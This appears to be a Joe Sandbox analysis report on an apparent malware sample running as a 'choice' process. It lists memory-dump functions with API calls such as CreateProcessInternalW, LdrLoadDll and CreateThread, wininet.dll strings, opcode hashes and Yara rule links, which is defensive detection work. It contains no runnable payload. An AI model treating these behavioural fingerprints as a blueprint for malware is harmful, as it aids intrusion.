Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e69b9e669113871b88159c03f3c0b8d51deb9f6b0cb9ae74e7c70335919cff1
Instruction ID: 7684d9113f67b22dac0721247ad72e38b17685958e90d855361fa058bb0e177b
Opcode Fuzzy Hash: 7e69b9e669113871b88159c03f3c0b8d51deb9f6b0cb9ae74e7c70335919cff1
Instruction Fuzzy Hash: B590026921340002F1807158540860A00098BE1206FD6D419A4026558CC919D9695321

Function 04A52FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52FEA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7d15029bfea1220746fe7bc5551cf7fdd32d17a5c83c8bc978c2c3636bb6884b
Instruction ID: 90c2d5e666c6f3de1cc45f81f84a244d290954eea3d4016574efa931dcdf2877
Opcode Fuzzy Hash: 7d15029bfea1220746fe7bc5551cf7fdd32d17a5c83c8bc978c2c3636bb6884b
Instruction Fuzzy Hash: 75900261212C0042F20075684C14B0700098BE0307F96C119A4165554CC919D9615521

Function 04A52F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52F3A

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bf219e6002f8d326e052c0f13fa83ef3847ecd00f6871ea9d100982f99718ebc
Instruction ID: 876a8cc6e2238785d8ad266bfd619c2ad5c6d82840b251d7a300a903553f0979
Opcode Fuzzy Hash: bf219e6002f8d326e052c0f13fa83ef3847ecd00f6871ea9d100982f99718ebc
Instruction Fuzzy Hash: CD9002A134240442F10071584414B060009CBF1305F96C019E5075554D861DDD526126

Function 04A52AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52AFA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ebe226f837ed9c6bf4bbeb156f312d393bcbea8b9d0331d21571f454ed8d5433
Instruction ID: 63222048c0880cbb481c409ef9df6f39141b2e7751e9e6ce16927ee98c1c111b
Opcode Fuzzy Hash: ebe226f837ed9c6bf4bbeb156f312d393bcbea8b9d0331d21571f454ed8d5433
Instruction Fuzzy Hash: A2900265222400022145B558060450B04499BE63553D6C019F5427590CC625D9655321

Function 04A52AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52ADA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 96369353296d54119c7065daf1c502957506480f094b653c00a62aadaa0e0ac8
Instruction ID: 6e97b8558c5d5f3dcd600481a073b83ea99dc2ed7f023ae95479741ad40424b7
Opcode Fuzzy Hash: 96369353296d54119c7065daf1c502957506480f094b653c00a62aadaa0e0ac8
Instruction Fuzzy Hash: 42900265212400032105B5580704507004A8BE5355396C025F5026550CD625D9615121

Function 04A52BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52BAA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 44fc9d5d3f3eb190677adda4370436c5b185aaf27856ae8f3361b63b392c93a0
Instruction ID: f9531cb07d7f66009cb9ff67ae3b48d2399511a784528494c93ef3d7491fefb9
Opcode Fuzzy Hash: 44fc9d5d3f3eb190677adda4370436c5b185aaf27856ae8f3361b63b392c93a0
Instruction Fuzzy Hash: E690027160640802F1507158441474600098BE0305F96C015A4035654D8759DB5576A1

Function 04A52BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52BEA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4a0ee503a95daabef6ec332f1fa77a91377bf04cb07e3c181e7e87cba20bbdcc
Instruction ID: 22176bd007ff1c73d5e8db2db5cc8652fb0e3afc24277ecd8b374906d98f8583
Opcode Fuzzy Hash: 4a0ee503a95daabef6ec332f1fa77a91377bf04cb07e3c181e7e87cba20bbdcc
Instruction Fuzzy Hash: B490027120644842F14071584404A4600198BE0309F96C015A4075694D9629DE55B661

Function 04A52BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52BFA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ac4aef6b55bd4df8a72a66b682a145d0e0033e824d84a1f9fd80d8c13a5d4515
Instruction ID: d4af504ac79cd21c71bccc1604232d21a2c9c48246a0473e15a7915a4eea4dc3
Opcode Fuzzy Hash: ac4aef6b55bd4df8a72a66b682a145d0e0033e824d84a1f9fd80d8c13a5d4515
Instruction Fuzzy Hash: E990027120240802F1807158440464A00098BE1305FD6C019A4036654DCA19DB5977A1

Function 04A52B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52B6A

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5dbf0d6f063e496f5936fd134c5c24554e227adf92e0014bfd555d6b9d0e740f
Instruction ID: a45e1e08febbed50dd59d25e0310d81ec9175f77a6d652a802666e6c2d55270c
Opcode Fuzzy Hash: 5dbf0d6f063e496f5936fd134c5c24554e227adf92e0014bfd555d6b9d0e740f
Instruction Fuzzy Hash: F59002A120340003610571584414616400E8BF0205B96C025E5025590DC529D9916125

Function 04A535C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A535CA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 57c9475a65f70e558e7824ec5e56d992ac9d7c8b734b13922f4afc110a0b474b
Instruction ID: 0e50c27cca5bc8807d78e8ef31f7e8d17567635fd66ac45e3c6b34a34974db67
Opcode Fuzzy Hash: 57c9475a65f70e558e7824ec5e56d992ac9d7c8b734b13922f4afc110a0b474b
Instruction Fuzzy Hash: CA90027160650402F1007158451470610098BE0205FA6C415A4435568D8799DA5165A2

Function 02B23EC0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 02B23F9B

Strings

wininet.dll, xrefs: 02B23F2E, 02B23F3A
net.dll, xrefs: 02B23F57, 02B23FE6, 02B23FC6, 02B23FD2, 02B23FF2

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 742426b363c3a4985e7053ea838ac46b49b27e5a96ce05452ed9318196b12e4f
Instruction ID: 307610745aaeb68374e1cae2e5127dd2dfbf7e5ae403fac3c8762da2f968877a
Opcode Fuzzy Hash: 742426b363c3a4985e7053ea838ac46b49b27e5a96ce05452ed9318196b12e4f
Instruction Fuzzy Hash: B331B0B1A00705BBC724DFA4DC84FEBB7B9EB88710F108599EA1D6B244C7746644CFA5

Function 02B1F910 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02B1F927
CoUninitialize.COMBASE ref: 02B1FA0E

Strings

@J7<, xrefs: 02B1F93B

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: 918046811ed64c94dbddd3df9ab812e798a9e98e6d60eddd0bbe2c6f9faed9e4
Instruction ID: 28508ccb390eb98c1ada67da912d4573075cb05a12e93792fa147caff6f97f1b
Opcode Fuzzy Hash: 918046811ed64c94dbddd3df9ab812e798a9e98e6d60eddd0bbe2c6f9faed9e4
Instruction Fuzzy Hash: A9312FB5A0030AAFDB00DFD8D8809EEB7B9FF88304B508599E515EB254D775EE45CBA0

Function 02B149FA Relevance: 1.6, APIs: 1, Instructions: 66libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02B149D2

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
Instruction ID: b4d6c433c80934b77ec1eff2f4bc777185c895e3b8939116aa2db592048c6853
Opcode Fuzzy Hash: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
Instruction Fuzzy Hash: 52115C3150564AAFCF01EAB8D845FDDFBB1FB44308F6442D9D694C6147E3309256CB86

Function 02B14A11 Relevance: 1.6, APIs: 1, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02B149D2

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 645277cc62aa2590a508ffeef2e8a041cefc4593994317a5588ae8f89b77937b
Instruction ID: bd50eb3e178f2854775b4132cabb2c722233b71e076f497e3abf843c9940b4e4
Opcode Fuzzy Hash: 645277cc62aa2590a508ffeef2e8a041cefc4593994317a5588ae8f89b77937b
Instruction Fuzzy Hash: 6501F7B580060AEFCF00EEB8D985FDCBBF1FB15308F144698DA4497146E731A655CB82

Function 02B14960 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02B149D2

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
Instruction ID: 4b279a6423419e7ed5122224d054b4ed59277ce6def7fa2c8cdb982df9dce0d0
Opcode Fuzzy Hash: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
Instruction Fuzzy Hash: 55011EB5D0020DABDF10EAA4DC41F9EB779AB44308F1041D5AA0C97245F631E718CB91

Function 02B29D00 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,02B1870E,00000010,?,?,?,00000044,?,00000010,02B1870E,?,?,?), ref: 02B29D63

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 588ab6fad6ad697c7db8fb2378a5e212ec811c9a1e7c0e8cc65acac0753f6f99
Instruction ID: 6015575ce1c71d77f93116d17c331716f365d260bee004c202be128c6286c54c
Opcode Fuzzy Hash: 588ab6fad6ad697c7db8fb2378a5e212ec811c9a1e7c0e8cc65acac0753f6f99
Instruction Fuzzy Hash: 420192B2215108BBDB44DE9DDC90EEB77AEAF8C754F008649FA1DE3240D630F8518BA4

Function 02B09CB0 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02B09CF5

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: af7759501880bc2f0e24560c58caa6f546800790529d4b74ef37cf20f0e0dff1
Instruction ID: 00677e281635f3c55cf76bda9990bcd86c200223525ae640eccf23cf21709ef2
Opcode Fuzzy Hash: af7759501880bc2f0e24560c58caa6f546800790529d4b74ef37cf20f0e0dff1
Instruction Fuzzy Hash: F7F0657338071436E72162ED9C02FDB778DCBC1B71F154156FA0CDA1C0D596B40586A4

Function 02B1874A Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 02B1877C

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 50468426bb84eebf377670c1fec5e705ddcc3463769bde6e85eed78acffa404d
Instruction ID: a3ca8917a31836c6460c27f79d4d952a9ccf866ca28182a9eee12a23ff7921d6
Opcode Fuzzy Hash: 50468426bb84eebf377670c1fec5e705ddcc3463769bde6e85eed78acffa404d
Instruction Fuzzy Hash: EBE0D17624070437F711A96CDC81F663715EF4A734FAD46D0B928CF1D6D729E40185A1

Function 02B29C80 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,6ED9EBA1,00000007,00000000,00000004,00000000,02B141DA,000000F4), ref: 02B29CB9

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
Instruction ID: 7f21c7f8718dfb54292dc2da75327fbaaa3ba3ede963ad1a3d7a7ac58535bb5c
Opcode Fuzzy Hash: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
Instruction Fuzzy Hash: A8E09A722002047BCA14EE59EC44FDF77ADEFC8710F004408FA08A7280CA30B914CBB4

Function 02B29C30 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02B11E16,?,02B25ADF,02B11E16,02B25ABF,02B25ADF,?,02B11E16,02B25ABF,00001000,?,?,00000000), ref: 02B29C6C

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
Instruction ID: d13c8f169d78aa485e433d52a0100bad71cb751704fe795eb62e67096825c48d
Opcode Fuzzy Hash: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
Instruction Fuzzy Hash: FAE06572204304BBD614EE48EC41F9B77ADEF89B10F008009FA09A7280DA70B814CAB5

Function 02B18750 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 02B1877C

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0cfc8129ef7a1196aec510271a93c905f16c1314e6d802461c50461af26a7ec0
Instruction ID: 114d6502fb939ff92bd5896f83bdf8efd162254206cf4c284ad2cfc66ec8e02f
Opcode Fuzzy Hash: 0cfc8129ef7a1196aec510271a93c905f16c1314e6d802461c50461af26a7ec0
Instruction Fuzzy Hash: BFE086762407042BFB246AB8EC45F673359EF49728F6C4AA0B91CDB2C1E779F5118590

Function 02B111FB Relevance: 1.5, APIs: 1, Instructions: 21threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000111), ref: 02B11207

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: cd11d55857e50e9293af255402c5c86e331596148f99e511fa3e3e30c6db0de7
Instruction ID: 8d4107bc6148c92abd7c4c2c052ae555a335ff4e568f5912659e528a50218c77
Opcode Fuzzy Hash: cd11d55857e50e9293af255402c5c86e331596148f99e511fa3e3e30c6db0de7
Instruction Fuzzy Hash: E3D0237774000C75A60145C46CC1DFFB75CDB845A5F004063FF0CD1040D6214D020BF0

Function 02B18540 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,02B12110,02B2840F,02B25ABF,02B120D6), ref: 02B18573

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 1bff03101fdcb0ec3fbfdba4c633dd8972d786da86e894c1965261f6565ee6b0
Instruction ID: 7bbea3bb196457c1431b590fb7c9326d49adeb6e19604fa2998d3c57c957f7ca
Opcode Fuzzy Hash: 1bff03101fdcb0ec3fbfdba4c633dd8972d786da86e894c1965261f6565ee6b0
Instruction Fuzzy Hash: 47D05E75A807043BF604A6F88C02F573A8FDB44754F4480A4BA0CE73C2E955F5004A65

Function 02B1853F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,02B12110,02B2840F,02B25ABF,02B120D6), ref: 02B18573

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cf76302b5712ce6ab0876e5ea568d78abd64ec5e0036f82a752503aef8af8194
Instruction ID: e2a5040b747d79ccab96a47eb53c97cfc8303e35542b1e4b72a97db41664b267
Opcode Fuzzy Hash: cf76302b5712ce6ab0876e5ea568d78abd64ec5e0036f82a752503aef8af8194
Instruction Fuzzy Hash: AEE02B628843403BEB00A7B15D0F70A7E46FF00311F484AECE40CEF083DA1CC1008612

Function 04A52C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52C24

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 17bb4edaf653c4a597dc1ff7bdb254d8f9b6b5017c0602b289fe9c3b038c0fec
Instruction ID: 344d2426dd598a1a8bd51ec5d042f30281465be1cc875c37e15c98166b84436c
Opcode Fuzzy Hash: 17bb4edaf653c4a597dc1ff7bdb254d8f9b6b5017c0602b289fe9c3b038c0fec
Instruction Fuzzy Hash: 5BB09B729025C5C5FB11F760470871779146BD0705F56C075D6030642F473CD5D1E575

Non-executed Functions

Function 048CDDD9 Relevance: 56.5, Strings: 45, Instructions: 213COMMON

Download Yara Rule

Strings

@@@@, xrefs: 048CDF4F
@@@@, xrefs: 048CDF5D
@@@@, xrefs: 048CDF25
@@@@, xrefs: 048CDF41
-./0, xrefs: 048CDED1
@@@@, xrefs: 048CDF10
@@@@, xrefs: 048CDF6B
@@@@, xrefs: 048CDF95
89:;, xrefs: 048CDE61
@@@@, xrefs: 048CDF56
@@@@, xrefs: 048CDF87
%&'(, xrefs: 048CDEC3
@@@@, xrefs: 048CDEE6
@@@@, xrefs: 048CDF17
4567, xrefs: 048CDE5A
@@@@, xrefs: 048CDEA7
@@@@, xrefs: 048CDEF4
@@@@, xrefs: 048CDFB1
@@@@, xrefs: 048CDFA3
@@@@, xrefs: 048CDE6F
@@@@, xrefs: 048CDF8E
@@@@, xrefs: 048CDFB8
@@@@, xrefs: 048CDF33
@@@@, xrefs: 048CDEFB
@@@@, xrefs: 048CDEED
@@@@, xrefs: 048CDF48
@@@@, xrefs: 048CDF2C
@@@@, xrefs: 048CDFAA
@@@@, xrefs: 048CDEDF
@@@?, xrefs: 048CDE53
<=@@, xrefs: 048CDE68
)*+,, xrefs: 048CDECA
!"#$, xrefs: 048CDEBC
@@@@, xrefs: 048CDF64
@@@@, xrefs: 048CDF1E
@@@@, xrefs: 048CDF72
123@, xrefs: 048CDED8
@@@@, xrefs: 048CDF79
@@@@, xrefs: 048CDF09
@@@@, xrefs: 048CDF02
@@@@, xrefs: 048CDF3A
?, xrefs: 048CDFD0
@@@@, xrefs: 048CDFBF
@@@@, xrefs: 048CDF80
@@@@, xrefs: 048CDF9C

Memory Dump Source

Source File: 0000000A.00000002.2951551008.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_48c0000_choice.jbxd

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
API String ID: 0-3558027158
Opcode ID: bf37c6b5e2b88f16f0fe8e46c61588e16d473187dbc1e56eb2a78c11a0d15657
Instruction ID: 822309b800dd58add04b98db84c548c209b8611973cac1cd2174de53cd3ce488
Opcode Fuzzy Hash: bf37c6b5e2b88f16f0fe8e46c61588e16d473187dbc1e56eb2a78c11a0d15657
Instruction Fuzzy Hash: 9D9141F04482988EC7158F54A0652AFFFB1EBC6305F15856DE7E6BB243C3BE89058B85

Function 048C3A89 Relevance: 32.6, Strings: 26, Instructions: 62COMMON

Download Yara Rule

Strings

<KSK, xrefs: 048C3ADF
WTHQ, xrefs: 048C3B10
/*<4, xrefs: 048C3B09
